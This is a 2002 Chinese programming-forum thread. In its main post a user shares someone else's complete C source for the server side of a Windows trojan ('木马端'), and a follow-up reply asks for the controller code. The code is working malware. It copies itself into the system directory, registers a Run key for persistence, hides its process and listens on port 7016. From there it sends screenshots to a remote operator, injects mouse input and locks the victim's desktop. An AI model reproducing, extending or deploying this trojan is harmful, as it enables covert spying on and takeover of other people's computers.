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回复者：小菜瓜 回复日期：2002-11-30 13:56:57
<br>内容：这是别人的代码：<BR><BR>木马端：<BR><BR>///////////////////////////////////////////////////////////////////<BR>// Project : WindowSock Client <BR>// Producer : WangQi<BR>// Date : 2001/04<BR>///////////////////////////////////////////////////////////////////<BR><BR>#include "stdafx.h"<BR><BR>//Defien Const<BR>#define MAJOR_VERSION 1<BR>#define MINOR_VERSION 2<BR>#define WM_SOCK 280<BR>#define US_MAXSIZE 1024<BR><BR>#define US_FLAG 9999<BR>#define US_MOUSEMOVE 2000<BR>#define US_MOUSELD 3100<BR>#define US_MOUSELU 3200<BR>#define US_MOUSERD 4100<BR>#define US_MOUSERU 4200<BR><BR>#define US_DESKTOPBIT 5000<BR><BR>#define US_LOCK 6100<BR>#define US_UNLOCK 6200 <BR><BR>//Define Variable<BR>struct sockaddr_in dstclient_addr;<BR>SOCKET ClientSock;<BR>SOCKET NewSock;<BR>int SysHeight;<BR>int SysWidth;<BR>BOOL LockFlag = FALSE;<BR><BR>//Define Function<BR>BOOL InISock();<BR>BOOL ConnectSock();<BR>BOOL GetData();<BR>BOOL AcceptData();<BR>BOOL Register();<BR>HBITMAP GetSrcBit(DWORD BitWidth,DWORD BitHeight);<BR>HANDLE DDBtoDIB(HBITMAP hBitmap);<BR>POINT GetMousePoint();<BR>void SendDesktop();<BR>void Msg(LPCTSTR sMsg);<BR>void MouseMove(POINT point);<BR>void MouseLD(POINT point);<BR>void MouseRD(POINT point);<BR>void MouseLU(POINT point);<BR>void MouseRU(POINT point);<BR>void SysEvent(int Msg);<BR>void Lock(BOOL bFALG);<BR>void HideProcess();<BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : WinMain()<BR>// Parameter : HINSTANCE hInstance,HINSTANCE hPrevInstance,<BR>// LPSTR lpCmdLine,int nCmdShow<BR>// Return : INT<BR>///////////////////////////////////////////////////////////////////<BR><BR>int APIENTRY WinMain(HINSTANCE hInstance,<BR> HINSTANCE hPrevInstance,<BR> LPSTR lpCmdLine,<BR> int nCmdShow)<BR>{<BR> MSG msg;<BR> <BR> //Register<BR> Register();<BR><BR> //Hide in Process<BR> HideProcess();<BR><BR> //Initialization Winsock<BR> if (!InISock())<BR> return 0;<BR> <BR> //Connect Winsock<BR> if (!ConnectSock())<BR> return 0;<BR> <BR> //GetData<BR> while(true)<BR> {<BR> //AcceptData<BR> if (!AcceptData())<BR> {<BR> WSACleanup();<BR> exit(1);<BR> }<BR><BR> //GetMesage<BR> if(!GetData())<BR> {<BR> //Initialization Winsock<BR> if (!InISock())<BR> return 0;<BR> <BR> //Connect Winsock<BR> if (!ConnectSock())<BR> return 0;<BR> }<BR> //Release Data<BR> closesocket(NewSock); <BR> }<BR> <BR> return msg.wParam;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : InIScok()<BR>// Parameter : NULL<BR>// Return : TURE OR FALSE<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL InISock()<BR>{<BR> //Variable Define<BR> int Status;<BR> WORD wMajorVersion,wMinorVersion;<BR> WORD wVersionReqd;<BR> WSADATA lpmyWSAData;<BR> <BR> //InI Winsock<BR> wMajorVersion = MAJOR_VERSION;<BR> wMinorVersion = MINOR_VERSION;<BR> wVersionReqd = MAKEWORD(wMajorVersion,wMinorVersion);<BR><BR> //Startup WinSock<BR> Status = WSAStartup(wVersionReqd,&lpmyWSAData); <BR> if (Status != 0)<BR> return FALSE;<BR> <BR> return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : ConnectSock()<BR>// Parameter : NULL<BR>// Return : TURE OR FALSE<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL ConnectSock()<BR>{<BR> int Status;<BR><BR> //Socket<BR> ClientSock = socket(AF_INET,SOCK_STREAM,0);<BR> if (ClientSock==INVALID_SOCKET)<BR> return FALSE;<BR><BR> dstclient_addr.sin_family = PF_INET;<BR> dstclient_addr.sin_port = htons(7016);<BR> dstclient_addr.sin_addr.s_addr = INADDR_ANY;<BR> <BR> //BIND<BR> Status = bind(ClientSock,(struct sockaddr far *)&dstclient_addr,sizeof(dstclient_addr));<BR> if (Status != 0)<BR> return FALSE;<BR> <BR> //LISTEN<BR> Status = listen(ClientSock,1);<BR> if (Status != 0)<BR> return FALSE;<BR><BR><BR> return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : Accept()<BR>// Parameter : NULL<BR>// Return : BOOL<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL AcceptData()<BR>{<BR> //ACCEPT<BR> int len = sizeof(dstclient_addr);<BR> NewSock = accept(ClientSock,(struct sockaddr far *)&dstclient_addr,&len);<BR> if (NewSock < 0)<BR> {<BR> closesocket(ClientSock);<BR> return FALSE;<BR> }<BR><BR> //GetSCREEN<BR> SysWidth = GetSystemMetrics(SM_CXSCREEN);<BR> SysHeight = GetSystemMetrics(SM_CYSCREEN);<BR><BR> return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : GetData()<BR>// Parameter : NULL<BR>// Return : BOOL<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL GetData()<BR>{<BR> //Define Variable<BR> int iMsg,length;<BR> POINT point;<BR> int FALG;<BR> <BR> //Send Falg<BR> FALG = US_FLAG;<BR> send(NewSock,(char*)&FALG,sizeof(FALG)+1,MSG_OOB);<BR><BR> //Get Message<BR> length = recv(NewSock,(char*)&iMsg,sizeof(iMsg)+1,0);<BR> if (length < 0)<BR> {<BR> //Close Sock<BR> closesocket(NewSock);<BR> closesocket(ClientSock);<BR> <BR> return FALSE;<BR> }<BR> <BR> //GetMessageData<BR> if (iMsg < 4500) //MouseEvent<BR> {<BR> send(NewSock,(char*)&SysWidth,sizeof(SysWidth)+1,MSG_OOB);<BR> send(NewSock,(char*)&SysHeight,sizeof(SysHeight)+1,MSG_OOB);<BR> point = GetMousePoint();<BR> }<BR><BR><BR> switch(iMsg)<BR> {<BR> case US_DESKTOPBIT: //SendDesktopBitmap<BR> SendDesktop();<BR> break;<BR> case US_MOUSEMOVE: //MouseMove<BR> MouseMove(point);<BR> break;<BR> case US_MOUSELD: //MouseLeftDown<BR> MouseLD(point);<BR> break;<BR> case US_MOUSELU: //MouseLeftUp<BR> MouseLU(point);<BR> break;<BR> case US_MOUSERD: //MouseRightDown<BR> MouseRD(point);<BR> break;<BR> case US_MOUSERU: //MouseRightUp<BR> MouseRU(point);<BR> break;<BR> case US_LOCK:<BR> SysEvent(US_LOCK);<BR> break;<BR> case US_UNLOCK:<BR> SysEvent(US_UNLOCK);<BR> break;<BR> }<BR> return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : GetMousePoint<BR>// Parameter : NULL<BR>// Return : POINT<BR>///////////////////////////////////////////////////////////////////<BR>POINT GetMousePoint()<BR>{<BR> //variable define<BR> int x,y;<BR> int lenx,leny;<BR> POINT point;<BR> <BR> lenx = recv(NewSock,(char*)&x,sizeof(x)+1,0);<BR> leny = recv(NewSock,(char*)&y,sizeof(y)+1,0);<BR> point.x = x;<BR> point.y = y;<BR><BR> return point;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : MouseMove()<BR>// Parameter : NULL<BR>// Return : POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseMove(POINT point)<BR>{<BR> SetCursorPos(point.x,point.y);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : MouseLD()<BR>// Parameter : NULL<BR>// Return : POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseLD(POINT point)<BR>{<BR> mouse_event(MOUSEEVENTF_LEFTDOWN,point.x,point.y,0,0);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : MouseLU()<BR>// Parameter : NULL<BR>// Return : POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseLU(POINT point)<BR>{<BR> mouse_event(MOUSEEVENTF_LEFTUP,point.x,point.y,0,0);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : MouseRD()<BR>// Parameter : NULL<BR>// Return : POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseRD(POINT point)<BR>{<BR> mouse_event(MOUSEEVENTF_RIGHTDOWN,point.x,point.y,0,0);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : MouseRU()<BR>// Parameter : NULL<BR>// Return : POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseRU(POINT point)<BR>{<BR> mouse_event(MOUSEEVENTF_RIGHTUP,point.x,point.y,0,0);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : Msg()<BR>// Parameter : LSPSTR sMsg<BR>// Return : NULL<BR>///////////////////////////////////////////////////////////////////<BR><BR>void Msg(LPCTSTR sMsg)<BR>{<BR> MessageBox(GetActiveWindow(),sMsg,"err",MB_OK);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : GetSrcBit()<BR>// Parameter : DWORD BitWidth,DWORD BitHeight<BR>// Return : HBITMAP<BR>///////////////////////////////////////////////////////////////////<BR><BR>HBITMAP GetSrcBit(DWORD BitWidth,DWORD BitHeight)<BR>{<BR> //Define Variable<BR> HDC hdcmy,hbufferdc;<BR> HBITMAP hBit,hOldBitmap;<BR><BR> //Create DesktopDC<BR> hdcmy = CreateDC("DISPLAY",NULL,NULL,NULL);<BR> hbufferdc = CreateCompatibleDC(hdcmy);<BR><BR> //Create Hbitmap<BR> hBit = CreateCompatibleBitmap(hdcmy, BitWidth, BitHeight);<BR><BR> //Get bit to Buffer<BR> hOldBitmap = (HBITMAP)SelectObject(hbufferdc, hBit);<BR> StretchBlt(hbufferdc, 0, 0, BitWidth, BitHeight,<BR> hdcmy, 0, 0,SysWidth,SysHeight, SRCCOPY);<BR><BR> //Get finally bit<BR> hBit = (HBITMAP)SelectObject(hbufferdc, hOldBitmap);<BR> <BR> //Release Memory<BR> DeleteObject(hOldBitmap);<BR> ReleaseDC(NULL,hdcmy);<BR> ReleaseDC(NULL,hbufferdc);<BR><BR> return hBit;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : SendDesktop()<BR>// Parameter : NULL<BR>// Return : NULL<BR>///////////////////////////////////////////////////////////////////<BR><BR>void SendDesktop() <BR>{<BR> //Define Variable<BR> int BitMsg;<BR> LPBYTE plmagePoint;<BR> HANDLE hDib;<BR> HBITMAP hBit;<BR> int BitHeight,BitWidth;<BR><BR> //Get Bit Height and Widht<BR> recv(NewSock,(char*)&BitWidth,sizeof(BitWidth)+1,0);<BR> recv(NewSock,(char*)&BitHeight,sizeof(BitHeight)+1,0);<BR> if (BitWidth > SysWidth)<BR> BitWidth = SysWidth;<BR> if (BitHeight > SysHeight)<BR> BitHeight = SysHeight;<BR><BR> //Cover Desktop HDC to HBITMAP<BR> hBit = GetSrcBit(BitWidth,BitHeight);<BR><BR> //DDBtoDIB<BR> hDib = DDBtoDIB(hBit);<BR> DWORD bitSize = GlobalSize(hDib);<BR> <BR> //Send Bit Size<BR> send(NewSock,(char*)&bitSize,sizeof(bitSize)+1,MSG_OOB);<BR> recv(NewSock,(char*)&BitMsg,sizeof(BitMsg)+1,0);<BR><BR> //Send Bit<BR> plmagePoint = (LPBYTE)hDib;<BR> for(WORD i=0;i<bitSize/US_MAXSIZE;i++)<BR> {<BR> send(NewSock,(char*)plmagePoint,sizeof(BYTE)*US_MAXSIZE,MSG_OOB);<BR> plmagePoint = plmagePoint + US_MAXSIZE;<BR> recv(NewSock,(char*)&BitMsg,sizeof(BitMsg)+1,0);<BR> }<BR> if (bitSize%US_MAXSIZE)<BR> {<BR> send(NewSock,(char*)plmagePoint,sizeof(BYTE)*GlobalSize(hDib)%US_MAXSIZE,MSG_OOB);<BR> recv(NewSock,(char*)&BitMsg,sizeof(BitMsg)+1,0);<BR> }<BR><BR> //Release bit<BR> DeleteObject(hBit);<BR> GlobalFree(hDib);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : DDBtoDIB()<BR>// Parameter : NULL<BR>// Return : HANDLE<BR>///////////////////////////////////////////////////////////////////<BR><BR>HANDLE DDBtoDIB( HBITMAP bitmap) <BR>{<BR> //Define Variable<BR> BITMAP bm;<BR> BITMAPINFOHEADER bi;<BR> LPBITMAPINFOHEADER lpbi;<BR> DWORD dwLen;<BR> HANDLE hDib;<BR> HANDLE handle;<BR> HDC hdc;<BR> HPALETTE hPal;<BR><BR> hPal = (HPALETTE) GetStockObject(DEFAULT_PALETTE );<BR><BR> // get bitmap information<BR> GetObject(bitmap,sizeof(bm),(LPSTR)&bm);<BR><BR> // initialize the bitmapinfoheader<BR> bi.biSize = sizeof(BITMAPINFOHEADER);<BR> bi.biWidth = bm.bmWidth;<BR> bi.biHeight = bm.bmHeight;<BR> bi.biPlanes = 1;<BR> //bi.biBitCount = bm.bmPlanes * bm.bmBitsPixel;<BR> bi.biBitCount = 4;<BR> bi.biCompression = BI_RGB;<BR> bi.biSizeImage = 0;<BR> bi.biXPelsPerMeter = 0;<BR> bi.biYPelsPerMeter = 0;<BR> bi.biClrUsed = 0;<BR> bi.biClrImportant = 0;<BR><BR> // compute the size of the infoheader and the color table<BR> int ncolors = (1 << bi.biBitCount); <BR> if( ncolors> 256 ) <BR> ncolors = 0;<BR> dwLen = bi.biSize + ncolors * sizeof(RGBQUAD);<BR><BR> // we need a device context to get the dib from<BR> hdc = GetDC(NULL);<BR> hPal = SelectPalette(hdc,hPal,FALSE);<BR> RealizePalette(hdc);<BR><BR> // allocate enough memory to hold bitmapinfoheader and color table<BR> hDib = GlobalAlloc(GMEM_FIXED,dwLen);<BR><BR> if (!hDib){<BR> SelectPalette(hdc,hPal,FALSE);<BR> ReleaseDC(NULL,hdc);<BR> return NULL;<BR> }<BR><BR> lpbi = (LPBITMAPINFOHEADER)hDib;<BR><BR> *lpbi = bi;<BR><BR> // call getdibits with a NULL lpbits param, so the device driver <BR> // will calculate the bisizeimage field <BR> GetDIBits(hdc, bitmap, 0L, (DWORD)bi.biHeight,<BR> (LPBYTE)NULL, (LPBITMAPINFO)lpbi, (DWORD)DIB_RGB_COLORS );<BR><BR> bi = *lpbi;<BR><BR> // if the driver did not fill in the bisizeimage field, then compute it<BR> // each scan line of the image is aligned on a dword (32bit) boundary<BR> if (bi.biSizeImage == 0)<BR> {<BR> bi.biSizeImage = ((((bi.biWidth * bi.biBitCount) + 31) & ~31) / 8) <BR> * bi.biHeight;<BR> }<BR><BR> // realloc the buffer so that it can hold all the bits<BR> dwLen += bi.biSizeImage;<BR> if (handle = GlobalReAlloc(hDib, dwLen, GMEM_MOVEABLE))<BR> hDib = handle;<BR> else<BR> {<BR> GlobalFree(hDib);<BR><BR> // reselect the original palette<BR> SelectPalette(hdc,hPal,FALSE);<BR> ReleaseDC(NULL,hdc);<BR> return NULL;<BR> }<BR><BR> // get the bitmap bits<BR> lpbi = (LPBITMAPINFOHEADER)hDib;<BR><BR> // finally get the dib<BR> BOOL bgotbits = GetDIBits( hdc, bitmap,<BR> 0L, // start scan line<BR> (DWORD)bi.biHeight, // # of scan lines<BR> (LPBYTE)lpbi // address for bitmap bits<BR> + (bi.biSize + ncolors * sizeof(RGBQUAD)),<BR> (LPBITMAPINFO)lpbi, // address of bitmapinfo<BR> (DWORD)DIB_RGB_COLORS); // use rgb for color table<BR><BR> if( !bgotbits )<BR> {<BR> GlobalFree(hDib);<BR> <BR> SelectPalette(hdc,hPal,FALSE);<BR> ReleaseDC(NULL,hdc);<BR> return NULL;<BR> }<BR><BR> SelectPalette(hdc,hPal,FALSE);<BR> ReleaseDC(NULL,hdc);<BR><BR> return hDib;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : Register()<BR>// Parameter : NULL<BR>// Return : BOOL<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL Register()<BR>{<BR> //Define Varible<BR> HKEY hKEY;<BR> char CurrentPath[MAX_PATH];<BR> char SysPath[MAX_PATH];<BR> long ret;<BR> LPSTR FileNewName;<BR> LPSTR FileCurrentName;<BR> DWORD type=REG_SZ;<BR> DWORD size=MAX_PATH;<BR> LPCTSTR Rgspath="Software\\Microsoft\\Windows\\CurrentVersion\\Run" ;<BR><BR> //Get System Path<BR> GetSystemDirectory(SysPath,size);<BR> GetModuleFileName(NULL,CurrentPath,size);<BR> <BR> //Copy File<BR> FileCurrentName = CurrentPath;<BR> FileNewName = lstrcat(SysPath,"\\System_XingCheng.exe");<BR> ret = CopyFile(FileCurrentName,FileNewName,TRUE);<BR> if (!ret)<BR> {<BR> return TRUE;<BR> }<BR><BR> //Open key<BR> ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE, &hKEY);<BR> if(ret!=ERROR_SUCCESS)<BR> { <BR> RegCloseKey(hKEY);<BR> return FALSE;<BR> }<BR><BR> //Set Key<BR> ret=RegSetValueEx(hKEY,"System_XingCheng",NULL,type,(const unsigned char*)FileNewName,size);<BR> if(ret!=ERROR_SUCCESS)<BR> { <BR> RegCloseKey(hKEY);<BR> return FALSE;<BR> }<BR> RegCloseKey(hKEY);<BR><BR> return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : SysEvent()<BR>// Parameter : NULL<BR>// Return : POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void SysEvent(int Msg)<BR>{<BR> switch (Msg)<BR> {<BR> case US_LOCK:<BR> LockFlag = TRUE;<BR> ShowCursor(FALSE);<BR> Lock(TRUE);<BR> break;<BR> case US_UNLOCK:<BR> LockFlag = FALSE;<BR> ShowCursor(TRUE);<BR> Lock(FALSE);<BR> break;<BR> }<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : Lock()<BR>// Parameter : BOOL bFALG<BR>// Return : NULL<BR>///////////////////////////////////////////////////////////////////<BR><BR>void Lock(BOOL bFALG)<BR>{<BR> if (bFALG)<BR> {<BR> SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, NULL,0);<BR> EnableWindow(GetDesktopWindow(),FALSE);<BR> }<BR> else<BR> {<BR> SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, NULL,0);<BR> EnableWindow(GetDesktopWindow(),TRUE);<BR> }<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name : HideProcess()<BR>// Parameter : NULL<BR>// Return : NULL<BR>///////////////////////////////////////////////////////////////////<BR>void HideProcess()<BR>{<BR> HINSTANCE hInst = LoadLibrary("KERNEL32.DLL"); <BR> if(hInst) <BR> { <BR> typedef DWORD (WINAPI *MYFUNC)(DWORD,DWORD); <BR> MYFUNC RegisterServiceProcessFun = NULL; <BR> RegisterServiceProcessFun = (MYFUNC)GetProcAddress(hInst, "RegisterServiceProcess");<BR> if(RegisterServiceProcessFun) <BR> { <BR> RegisterServiceProcessFun(GetCurrentProcessId(),1); <BR> } <BR> FreeLibrary(hInst); <BR> }<BR>}
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回复者：阿蝌 回复日期：2002-11-30 19:03:03
<br>内容：能不能把控制端的代码也贴上来?
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